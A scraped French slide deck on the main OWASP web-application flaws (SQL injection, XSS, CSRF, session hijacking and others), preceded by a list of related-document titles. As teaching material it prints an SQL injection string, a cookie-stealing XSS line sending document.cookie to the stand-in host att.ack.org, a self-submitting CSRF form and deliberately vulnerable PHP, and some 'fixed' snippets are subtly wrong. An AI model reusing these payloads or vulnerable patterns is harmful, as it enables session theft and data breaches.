Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement



Documents pareils
Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Vulnérabilités et sécurisation des applications Web

OZSSI NORD 4 JUIN LILLE. Conférence thématique: Sécurité des applications

Attaques applicatives

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Sécurité des applications web. Daniel Boteanu

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

Vulnérabilités et solutions de sécurisation des applications Web

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

La mémorisation des mots de passe dans les navigateurs web modernes

Sécurité des Applications Web Comment Minimiser les Risques d Attaques les plus Courants


Un exemple d'authentification sécurisée utilisant les outils du Web : CAS. P-F. Bonnefoi

Les risques HERVE SCHAUER HSC

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Découvrir les vulnérabilités au sein des applications Web

FICHE PRODUIT COREYE CACHE Architecture technique En bref Plateforme Clients Web Coreye Cache applicative Références Principe de fonctionnement

Programmation Web. Madalina Croitoru IUT Montpellier

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

WEB & DÉVELOPPEMENT LES BASES DU WEB LE LANGAGE HTML FEUILLES DE STYLES CSS HISTORIQUE D INTERNET ET DU WEB LES DIFFÉRENTS LANGAGES

Présentation de la solution Open Source «Vulture» Version 2.0

TP JAVASCRIPT OMI4 TP5 SRC

DenyAll Protect. Sécurité & accélération. Parefeux pour applications et services Web. de vos applications.

THEME PROJET D ELABORATION D UNE BASE DE DONNEES SOUS LE SERVEUR MYSQL

LEA.C5. Développement de sites Web transactionnels

Chapitre 1 Windows Server

DenyAll Detect. Documentation technique 27/07/2015

Maarch Framework 3 - Maarch. Tests de charge. Professional Services. 11, bd du Sud Est Nanterre

Rapport de certification ANSSI-CSPN-2010/05. ModSecurity v2.5.12

Failles des applications Web. Ce document est extrait du travail de diplôme de M. DIZON dans l état.

Pratique et administration des systèmes

ASP.NET MVC 4 Développement d'applications Web en C# - Concepts et bonnes pratiques

NFA016 : Introduction. Pour naviguer sur le Web, il faut : Naviguer: dialoguer avec un serveur web

Introduction. PHP = Personal Home Pages ou PHP Hypertext Preprocessor. Langage de script interprété (non compilé)

SYSTÈMES D INFORMATIONS

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage

networks NOTE DE SYNTHESE SÉCURITÉ WORDPRESS

BeEF : Browser Exploitation Framework

ADMINISTRATION DE ADOBE LIVECYCLE MOSAIC 9.5

La Latecion protection anti-intrusion Web Web Le concept «Zero effort Security» La protection des applications Extranet

Devenez un véritable développeur web en 3 mois!

Les rootkits navigateurs

PASS v2.0 : solution d authentification unique basée sur les composants Shibboleth Service Provider v2.5.1 et Identity Provider v2.3.

Supplément de renseignements : Examens d applications et pare-feux d applications web clarifiés Normes : Normes en matière de sécurité des données de

Sécurité des applications Retour d'expérience

Impression de sécurité?

Analyse de vulnérabilités et évaluation de systèmes de détection d'intrusions pour les applications Web

Réseau - Sécurité - Métrologie - Data Center. Le leader du marché allemand des UTM débarque en France avec des arguments forts!

LINUX - Sécurité. Déroulé de l'action. - 3 jours - Contenu de formation

Hébergement de site web Damien Nouvel

Module BD et sites WEB

Ce document décrit une solution de single sign-on (SSO) sécurisée permettant d accéder à Microsoft Exchange avec des tablettes ou smartphones.

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

Mysql. Les requêtes préparées Prepared statements

Stockage du fichier dans une table mysql:

Sécurité des réseaux Les attaques

DÉVELOPPER DES APPLICATIONS WEB SÉCURISÉES

Optimiser les performances d un site web. Nicolas Chevallier Camille Roux

Charte d hébergement des sites web universitaires "Réseau National Universitaire (RNU)"

Sécurisation des accès au CRM avec un certificat client générique

TEST D INTRUSION : UNE SIMULATION DE HACKING POUR IDENTIFIER LES FAIBLESSES DE VOTRE SYSTÈME

PROJET D APPROFONDISSEMENT

Magento. Magento. Réussir son site e-commerce. Réussir son site e-commerce BLANCHARD. Préface de Sébastien L e p e r s

Création d un «Web Worm»

Guide d implémentation. Réussir l intégration de Systempay

Protection des protocoles

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

Revue de code Sécuritéou Test d Intrusion Applicatif. Quel est le plus efficace pour évaluer un niveau de sécurité applicatif?

\ \ / \ / / \/ ~ \/ _ \\ \ ` \ Y ( <_> ) \ / /\ _ / \ / / \/ \/ \/ Team

PHP 5.4 Développez un site web dynamique et interactif

Joomla! Création et administration d'un site web - Version numérique

WordPress Référencement naturel (SEO) Optimiser. son référencement. Daniel Roch. Préface d Olivier Andrieu

Sessions en ligne - QuestionPoint

Définition des Webservices Ordre de paiement par . Version 1.0

SRS Day. Sécurité Applicative

ContactForm et ContactFormLight - Gestionnaires de formulaire pour Prestashop Edité par ARETMIC S.A.

CIBLE DE SECURITE CSPN DU PRODUIT PASS. (Product for Advanced SSO)

Sommaire. 1 Introduction Présentation du logiciel de commerce électronique 23

Introduction à. Oracle Application Express

Installation / Sauvegarde Restauration / Mise à jour

les techniques d'extraction, les formulaires et intégration dans un site WEB

Note technique. Recommandations pour la sécurisation des sites web

Urbanisation des SI Conduite du changement IT 20/03/09. Patrick CHAMBET

Support Google Analytics - 1 / 22 -

Formation Website Watcher

Groupe Eyrolles, 2004, ISBN :

Attaques de type. Brandon Petty

Plateforme PAYZEN. Définition de Web-services

The Mozilla Art Of War. David Teller. 20 septembre Laboratoire d Informatique Fondamentale d Orléans. La sécurité des extensions.

CAHIER DES CHARGES SITE WEB : Steve Mind Magicien Close-up & Mentaliste - 1 -

Trusteer Pour la prévention de la fraude bancaire en ligne

Technologies Web. Ludovic Denoyer Sylvain Lamprier Mohamed Amine Baazizi Gabriella Contardo Narcisse Nya. Université Pierre et Marie Curie

Par KENFACK Patrick MIF30 19 Mai 2009

Rapport de certification ANSSI-CSPN-2011/14. Fonctionnalités de pare-feu de StoneGate Firewall/VPN build 8069

Cours 14. Crypto. 2004, Marc-André Léger

Transcription:

Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

P. 2 1. Introduction 2. Principales failles de sécurité 3. Conclusion SOMMAIRE

P. 3 1. Contexte 2. Enjeux 1. INTRODUCTION

1.1 Contexte : Fonctionnement d une application Web P. 4 Composants serveur Requête http HTML + CSS E x t Utilisateur Serveur http Serveur d application Serveur de base de données Architecture 3-tiers

1.1 Contexte : Fonctionnement d une application Web P. 5 Composants client Utilisateur JavaScript HTML + CSS Moteur AJAX Requête http XML Serveur http E x t

1.1 Contexte : Fonctionnement d une application Web P. 6 Principe d une application Web 1. Envoie de la saisie d un formulaire 2. Envoie de la requête correspondante pour traitement 3. Retour du résultat à la page de script 4. Génération et envoie de la page HTML 1) 4) HTML + CSS E x t 2) Demande de traitement 3) Résultat Utilisateur Serveur http

1.2 Enjeux P. 7 Analyse des besoins de sécurité Intégrité Confidentialité Disponibilité Risques de sécurité applicatifs

P. 8 1. Injection 6. Mauvaise configuration de sécurité 2. Cross-Site Scripting (XSS) 3. Violation de gestion d authentification et de session 4. Référence directe non sécurisée à un objet 5. Falsification de requêtes intersite (CSRF) 7. Stockage de données cryptographiques non sécurisé 8. Défaillance dans la restriction des accès à une url 9. Protection insuffisante de la couche transport 10. Redirection et renvois non validés PRINCIPALES FAILLES DE SÉCURITÉ

2.1 Injection P. 9 Victime d une attaque Composant de l architecture de l application vulnérable Attaquant Extérieur au système Moyens utilisés Formulaire de saisie de l application Injection de code malicieux dans le code de l application Objectif de l attaque Vol d information Prise de contrôle du système Déni de service

2.1 Injection P. 10 Principe d une attaque 1. Envoi de code malveillant 2. Envoi de la requête correspondante pour traitement Les étapes suivantes sont fonction de l attaque employée 3. 4. 1) 2) Demande de traitement 4) 3) Attaquant Serveur http

2.1 Injection P. 11 Comportement d une application vulnérable à l injection SQL 1. Envoi de la saisie d un formulaire 2. Envoi de la requête correspondante pour traitement 3. Retour du résultat à la page de script 4. Génération et envoie de la page HTML SELECT numerocarte FROM comptes WHERE nom='user4' AND motdepasse=password('eng111') 1) 2) Requête SQL Utilisateur 4) HTML + CSS Serveur http 3) Résultat +-------------+ numerocarte +-------------+ 741852963 +-------------+

2.1 Injection P. 12 Vol d information par injection SQL 1. Envoi de code malicieux «' OR 1=1 -- '» 2. Envoi de la requête correspondante à la base de données 3. Retour du résultat à la page de script 4. Vol d information SELECT numerocarte FROM comptes WHERE nom='' OR 1=1 -- ' ' AND motdepasse=password('eng111') 1) 2) Requête SQL Attaquant 4) HTML + CSS Serveur http 3) Résultat +-------------+ numerocarte +-------------+ 123456789

2.1 Injection P. 13 Source de vulnérabilité 1. Code de la requête est généré dynamiquement 2. Caractères interprétés (en SQL, en SHELL, ) acceptés 2 1 //recuperation des parametres $nom = $_GET['nom']; $motdepasse = $_GET['motdepasse']; //generation de la requete $requetesql = "SELECT numerocarte FROM comptes WHERE nom = '$nom' AND motdepasse = PASSWORD( '$motdepasse' )"; //execution de la requete $reponse = mysql_query($requetesql); $resultat = mysql_fetch_assoc($reponse); //affichage du resultat echo $resultat['numerocarte'];

2.1 Injection P. 14 Solutions 1. Utiliser des requêtes paramétrées 2. Ne pas autoriser les caractères spéciaux 2 1 //recuperation des parametres $nom = htmlspecialchars($_get['nom'],ent_quotes); $motdepasse = htmlspecialchars($_get['motdepasse'],ent_quotes); //preparation de la requete $stmt = $mysqli->prepare("select numerocarte FROM comptes WHERE nom =? AND motdepasse = PASSWORD(? )"); $stmt->bind_param("ss", $nom, $motdepasse); //execution de la requete $stmt->execute(); $stmt->bind_result($resultat); $stmt->fetch(); //affichage du resultat echo $resultat;

2.2 Cross-Site Scripting (XSS) P. 15 Victime d une attaque Utilisateur de l application vulnérable Attaquant Extérieur au système Moyens utilisés Injection de code actif dans un document HTML 1. XSS réfléchie 2. XSS stockée Objectif de l attaque Vol d information Prise de contrôle du système de l utilisateur Hameçonnage

2.2 Cross-Site Scripting (XSS) P. 16 Exemple de code actif document.write('<img src=http://att.ack.org/steal.php?'+docum ent.cookie+' width=1>'); Ajoute une balise cachée lors de l affichage de la page par le navigateur <img src=http://att.ack.org/steal.php?1...f width=1> L appel de la page stocke les informations en paramètre

2.2 Cross-Site Scripting (XSS) P. 17 Par réflexion 3) Page de résultat avec le script Utilisateur Application Web 2) Exécution du script embarqué Attaquant

2.2 Cross-Site Scripting (XSS) 1) P. 18 Par réflexion Source de vulnérabilité 1. Caractères HTML/JavaScript acceptés Résultat de la recherche : <?php echo $_GET['recherche'];?> 2. Accès autorisé aux cookies pour JavaScript

2.2 Cross-Site Scripting (XSS) P. 19 Par réflexion Solutions 1. Ne pas autoriser les caractères spéciaux Résultat de la recherche : <?php $recherche = htmlspecialchars($_get['recherche'],ent_quotes); echo $recherche;?> 2. Rendre les cookies utilisables uniquement par l application Le code JavaScript ne peut pas accéder au cookie <?php session.cookie_httponly = True?>

2.2 Cross-Site Scripting (XSS) P. 20 Stocké 2) Demande de la page Utilisateur 3) Page de résultat avec le script Application Web 1) Enregistrement du code actif Attaquant

2.2 Cross-Site Scripting (XSS) P. 21 Stocké Source de vulnérabilité Caractères HTML/JavaScript acceptés <?php $message=$_get['message']; $nom=$_get['nom']; $numsujet=$_get['numsujet']; //generation de la requete $requetesql = "INSERT INTO messages VALUES (NULL, '$numsujet', '$nom', '$message')";?>

P. 22 2.2 Cross-Site Scripting (XSS) Stocké Solutions 1. Filtrer les entrées 2. Ne pas autoriser les caractères spéciaux Résultat de la recherche : <?php $recherche = htmlspecialchars($_get['recherche'],ent_quotes); echo $recherche;?> 3. Rendre les cookies utilisables uniquement par l application <?php session.cookie_httponly = True?> Le code JavaScript ne peut pas accéder au cookie

2.3 Violation de gestion d authentification et de Session P. 23 Victime d une attaque Application vulnérable Attaquant Extérieur au système Moyens utilisés Usurpation d identité 1. Attaque contre le système d authentification 2. Détournement de session Objectif de l attaque Accès à l application Vol d information Corruption de données

P. 24 2.3 Violation de gestion d authentification et de Session Mécanisme de connexion Rappel : http est un protocole déconnecté 1. Authentification Utilisateur 1) 4) Envoi id de session 2. Travail avec l identifiant de session Utilisateur 1) Envoi id de session 4) Envoi id de session Serveur http 2) Demande de vérification 3) Résultat E x t E x t Serveur http 2) 3)

2.3 Violation de gestion d authentification et de Session P. 25 Attaque contre le système d authentification Sources de vulnérabilité 1. Force brute 2. Comptes par défaut 3. Système de réinitialisation de mot de passe 4. Système de création de comptes par soi-même

2.3 Violation de gestion d authentification et de Session P. 26 Attaque contre le système d authentification Solutions 1. Force brute 1. Mots de passe forts 2. Message d erreur générique 3. Verrouillage de compte après 5 erreurs consécutives 4. Utilisation de captcha 2. Supprimer ou désactiver les comptes par défaut 3. Système de réinitialisation de mot de passe Envoi d un nouveau mot de passe sur média préconfiguré 4. Système de création de comptes par soi-même Ne pas autoriser les identifiants proches Générer l identifiant de connexion

2.3 Violation de gestion d authentification et de Session P. 27 Détournement de session Méthodes d attaque 1. Fixation 2. Vol 3. Prédiction 4. Force brute Utilisateur 1) Envoi id de session 4) Envoi id de session E x t Serveur http 2) 3) 5) Envoi id de session Attaquant

2.3 Violation de gestion d authentification et de Session P. 28 Détournement de session Solutions 1. Utiliser un moyen d identification secondaire 2. Détruire les sessions 3. Ne pas soumettre les données par GET 4. Chiffrer les flux de transmission des identifiants 5. Redemander le mot de passe lors d un changement de niveau de privilège

2.4 Référence directe non sécurisée à un objet P. 29 Victime d une attaque Application vulnérable ou utilisateur Attaquant Extérieur au système ou utilisateur Moyens utilisés Injection de données frauduleuses Objectif de l attaque Attaque par injection Attaque XSS Accès et/ou modification de données sans autorisation

2.4 Référence directe non sécurisée à un objet P. 30 Source de vulnérabilité Valeurs de paramètre non vérifiées //recuperation des parametres $nom = $_GET['proprietaire']; //generation de la requete $requetesql = "SELECT numerocarte FROM comptes WHERE nom = '$nom'";

2.4 Référence directe non sécurisée à un objet P. 31 Solutions 1. Vérifier toutes les données avant utilisation (get, post, cookie) 1. Type attendu 2. Nombre d arguments attendus 3. Valeurs limitées 4. Taille de la donnée 5. Valeur nulle autorisée? 6. Valeur suit une expression régulière 2. Protéger les sorties vers le client Coder les caractères spéciaux

2.5 Falsification de requêtes inter-site (CSRF) P. 32 Victime d une attaque Application vulnérable Attaquant Extérieur au système Moyens utilisés Requête http d attaque envoyée par un utilisateur 1. CSRF réfléchie 2. CSRF stockée Objectif de l attaque Vol d information Corruption de données

2.5 Falsification de requêtes inter-site (CSRF) P. 33 Exemple de requête d attaque La requête simule une action de l utilisateur L appel de la page exécute une fonctionnalité de l application <form method="get" id="reflected_csrf" name="reflected_csrf" action="add_message.php"> <input type=hidden name="numsujet" value="6"> <input type=hidden name="nom" value="csrf"> <input type=hidden name="message" value="action frauduleuse"> </form> <script>document.reflected_csrf.submit()</script>

2.5 Falsification de requêtes inter-site (CSRF) P. 34 Par réflexion 1) Connexion Utilisateur Application Web 3) Exécution du code Attaquant

P. 35 Stocké 2.5 Falsification de requêtes inter-site (CSRF) 2) Affichage de la page 3) Réponse http Utilisateur 4) Exécution du code Application Web 1) Enregistrement du script Attaquant

2.5 Falsification de requêtes inter-site (CSRF) P. 36 Source de vulnérabilité Utilisation de la méthode GET Solutions 1. Utilisation de la méthode POST uniquement 2. Redemander le mot de passe lors d un changement de niveau de privilège

2.6 Mauvaise configuration de sécurité P. 37 Victime d une attaque Application vulnérable Attaquant Extérieur au système Moyens utilisés Faille de sécurité connues des composants Objectif de l attaque Déni de service Prise de contrôle du système

2.6 Mauvaise configuration de sécurité P. 38 Source de vulnérabilité Vulnérabilités laissées ouvertes par les composants de l architecture Solutions 1. Désactiver les options inutiles 2. Mettre à jour les composants 3. Installer les composants en version anglaise 4. Supprimer ou désactiver les comptes par défaut

2.7 Stockage de données cryptographiques non sécurisé P. 39 Victime d une attaque Application vulnérable Attaquant Extérieur au système Moyens utilisés Accès au système de stockage Objectif de l attaque Vol d information confidentielles

2.7 Stockage de données cryptographiques non sécurisé P. 40 Source de vulnérabilité Information confidentielle visible en clair Solutions 1. Chiffrer tous les supports de stockage d information Bases de données Fichiers Sauvegardes 2. Utiliser des algorithmes de chiffrement forts Exemple : AES 256, RSA 3. Utiliser des algorithmes de hachage forts Exemple : SHA 256

2.8 Défaillance dans la restriction des accès à une url P. 41 Victime d une attaque Application vulnérable Attaquant Utilisateur de l application Moyens utilisés Saisie d adresse non autorisée Objectif de l attaque Accès à des fonctionnalités non autorisées Accès à des fichiers du serveur http

2.8 Défaillance dans la restriction des accès à une url P. 42 Source de vulnérabilité Manque de contrôle lors de l accès aux fonctionnalités Fonctionnalités indexées par les moteurs de recherche Solutions 1. Tous les répertoires doivent contenir un fichier index.html 2. Le serveur http ne doit pas afficher le contenu d un répertoire 3. Les fonctionnalités doivent vérifier les droits d accès de l utilisateur avant affichage

2.9 Protection insuffisante de la couche transport P. 43 Victime d une attaque Application vulnérable Attaquant Extérieur au système Moyens utilisés Accès au système de transmission Objectif de l attaque Vol d information confidentielles

2.9 Protection insuffisante de la couche transport P. 44 Les protocoles de communication sur Internet Pile générique pour Internet Application Transport Internet Réseau Pile générique pour Internet Application Transport Internet Réseau Transfert de données à travers la pile de protocoles d Internet

2.9 Protection insuffisante de la couche transport P. 45 Source de vulnérabilité Accessibilité des moyens de transmission Solution Chiffrer toutes les pages de l application Si transmission de données confidentielles (dont informations de connexion) Si transmission des informations de session

2.10 Redirection et renvois non validés P. 46 Victime d une attaque Utilisateur de l application vulnérable Attaquant Extérieur au système Moyens utilisés Page de redirection Objectif de l attaque Hameçonnage Attaque CSRF par réflexion

2.10 Redirection et renvois non validés P. 47 Source de vulnérabilité Adresse de destination non vérifiée Solutions Renvoi uniquement vers des pages locales Redirection assurée par le serveur http en cas de déplacement d une page ou du site

P. 48 1. Web 2.0 : Constats 2. Web 2.0 : Perspectives 3. CONCLUSION

3.1 Web 2.0 : Constats P. 49 Internet est omniprésent Guerre des forfaits mobiles pour Internet L accès à Internet est perçu comme un des droits de l Homme Vinton G. CERF dans le New York Times paru le 5 janvier 2012 Extrait de : Internet Access Is Not a Human Right Even the United Nations report, which was widely hailed as declaring Internet access a human right, acknowledged that the Internet was valuable as a means to an end, not as an end in itself.

P. 50 3.1 Web 2.0 : Constats Les risques ont peu évolué depuis 2004 7 problèmes de 2010 déjà présents en 2004 Risques 2004 2007 2010 Injection de commandes A6 A2 A1 Failles Cross Site Scripting (XSS) A4 A1 A2 Violation de Gestion d Authentification et de Session A3 A7 A3 Référence directe à un objet non sécurisée A1 A4 A4 Cross Site Request Forgery (CSRF) A5 A5 Gestion de configuration non sécurisée A10 A6 Stockage non sécurisé A8 A8 A7 Manque de restriction d accès URL A2 A10 A8 Violation de Contrôle d Accès Communications non sécurisées A9 A9 Redirection et renvoi non validés A10 Débordement de tampon A5 Mauvaise gestion des erreurs A7 A6 Déni de Service A9 Exécution de fichier malicieux A3

3.1 Web 2.0 : Constats P. 51 Ajax et la sécurité Ajout de nouvelles failles Mode asynchrone rend les attaques moins visibles Sécuriser une application Web 2.0 1. Sécuriser le Web 1.0 2. Sécuriser les appels Ajax

3.2 Web 2.0 : Perspectives P. 52 Faut-il abandonner Ajax? HTML 5 sera-t-il la solution pour faciliter et standardiser le développement d applications Web 2.0? Les bonnes pratiques de sécurité vont devoir évoluer pour prendre en compte les applications pour smartphone

P. 53 Contact : Guillaume HARRY MERCI DE VOTRE ATTENTION